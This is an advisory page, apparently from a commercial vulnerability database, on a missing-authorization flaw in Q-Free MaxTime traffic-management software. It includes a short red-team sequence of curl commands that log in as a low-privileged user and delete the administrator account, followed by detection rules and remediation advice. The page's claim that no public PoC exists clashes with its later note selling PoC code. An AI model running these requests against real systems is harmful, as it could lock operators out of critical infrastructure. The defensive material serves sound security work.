CVE-2025-26377
Executive Summary
CVE-2025-26377 is a critical Missing Authorization vulnerability (CWE-862) identified in Q-Free MaxTime, a traffic management system, affecting versions up to and including 2.11.0. The flaw resides in the maxprofile/users/routes.lua file, allowing an authenticated low-privileged attacker to remove users via crafted HTTP requests. With a CVSS score of 8.1 (High), this vulnerability poses a significant risk to the integrity and availability of user management functions. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown, indicating a potential zero-day scenario. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the lack of a patch elevates the risk for organizations using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary software component (Q-Free MaxTime) used in traffic management infrastructure. Organizations should assess their supply chain for dependencies on Q-Free MaxTime and consider alternative solutions or isolation measures until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs valid low-privileged credentials.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: High (I:H) – Unauthorized user removal disrupts access control.
- Availability Impact: High (A:H) – Removal of users can lead to denial of service for legitimate administrators.
Threat Level: High. The vulnerability allows an authenticated attacker to escalate privileges by removing other users, potentially including administrators, leading to full system compromise or denial of service.
Deep Dive & Mechanics
The vulnerability is a classic case of missing authorization checks in the maxprofile/users/routes.lua file. This file likely handles HTTP endpoints for user management operations, such as creating, updating, or deleting users. The flaw occurs because the code does not verify whether the authenticated user has the necessary administrative privileges to perform user deletion operations.
Attack Flow:
- Authentication: The attacker obtains low-privileged credentials (e.g., via phishing, default credentials, or previous compromise).
- Crafting Request: The attacker crafts an HTTP request targeting the user deletion endpoint (e.g.,
DELETE /maxprofile/users/{id}) with a valid session token. - Exploitation: The server processes the request without checking if the authenticated user has the
adminrole or equivalent permission, resulting in unauthorized user removal. - Impact: The attacker can remove any user, including administrators, potentially locking out legitimate users and gaining elevated control.
Root Cause: The routes.lua file lacks an authorization middleware or role check before executing the delete operation. This is a common oversight in web applications where developers assume only privileged users can access certain endpoints, but fail to enforce it server-side.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (maxprofile/users/routes.lua):
-- Vulnerable: No authorization check
app.delete("/users/:id", function(req, res)
local userId = req.params.id
-- Directly delete user without checking role
database.delete("users", userId)
res:status(200):json({ message = "User deleted" })
end)
Patched Code (Hypothetical):
-- Patched: Authorization check added
app.delete("/users/:id", function(req, res)
-- Check if user has admin role
if req.user.role ~= "admin" then
return res:status(403):json({ error = "Forbidden" })
end
local userId = req.params.id
database.delete("users", userId)
res:status(200):json({ message = "User deleted" })
end)
The patched version adds a role check before the delete operation, ensuring only users with the admin role can delete other users.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a Q-Free MaxTime instance (version <= 2.11.0).
- Valid low-privileged credentials (e.g., username:
user1, password:password123).
Exploitation Steps:
- Authenticate and obtain session token:
curl -X POST http://target/maxprofile/login -d "username=user1&password=password123" -c cookies.txt - List users to find target IDs:
curl -X GET http://target/maxprofile/users -b cookies.txt - Delete a user (e.g., admin with ID 1):
curl -X DELETE http://target/maxprofile/users/1 -b cookies.txt - Verify deletion:
curl -X GET http://target/maxprofile/users/1 -b cookies.txt
Expected Outcome: The admin user is removed, potentially locking out legitimate administrators and allowing the attacker to escalate privileges.
Blue Team (Defense & Detection)
Detection:
- Monitor HTTP DELETE requests to
/maxprofile/users/*from non-admin users. - Alert on multiple user deletion attempts within a short timeframe.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Implement role-based access control (RBAC) for all user management endpoints.
- Apply the principle of least privilege; ensure low-privileged accounts cannot perform administrative actions.
- If patching is not possible, restrict network access to the MaxTime interface using firewalls or VPNs.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP DELETE requests to
/maxprofile/users/{id}from low-privileged user sessions. - Unusual patterns of user deletion events in logs.
- HTTP DELETE requests to
- System IOCs:
- Missing user accounts, especially administrators.
- Log entries showing
DELETE /maxprofile/users/with non-admin user IDs.
- File IOCs:
- Modified
maxprofile/users/routes.luafile (if attacker attempts to patch). - Suspicious Lua scripts in the MaxTime directory.
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_26377_Missing_Auth {
meta:
description = "Detects missing authorization in Q-Free MaxTime routes.lua"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-26377"
strings:
$s1 = "app.delete(\"/users/:id\"" nocase
$s2 = "database.delete(\"users\"" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-26377 - Missing Authorization in Q-Free MaxTime
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized user deletion attempts via HTTP DELETE requests to /maxprofile/users/
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'DELETE'
cs-uri-stem: '/maxprofile/users/*'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26377 - Q-Free MaxTime Missing Authorization User Deletion"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/maxprofile/users/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Systems: If possible, restrict network access to the MaxTime web interface using firewalls or VPNs.
- Monitor Logs: Actively monitor for unauthorized DELETE requests to
/maxprofile/users/. - Review User Accounts: Audit all user accounts and remove any suspicious low-privileged accounts.
Long-Term Fixes:
- Apply Patch: Contact Q-Free for an official patch or update to a patched version when available.
- Implement RBAC: Modify the
routes.luafile to include authorization checks (see patched code example). - Web Application Firewall (WAF): Deploy a WAF rule to block DELETE requests to
/maxprofile/users/from non-admin IPs. - Regular Security Audits: Conduct code reviews and penetration testing on all user management endpoints.
Workaround:
- Disable the user deletion functionality temporarily by removing or commenting out the relevant route in
routes.luauntil a patch is applied.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.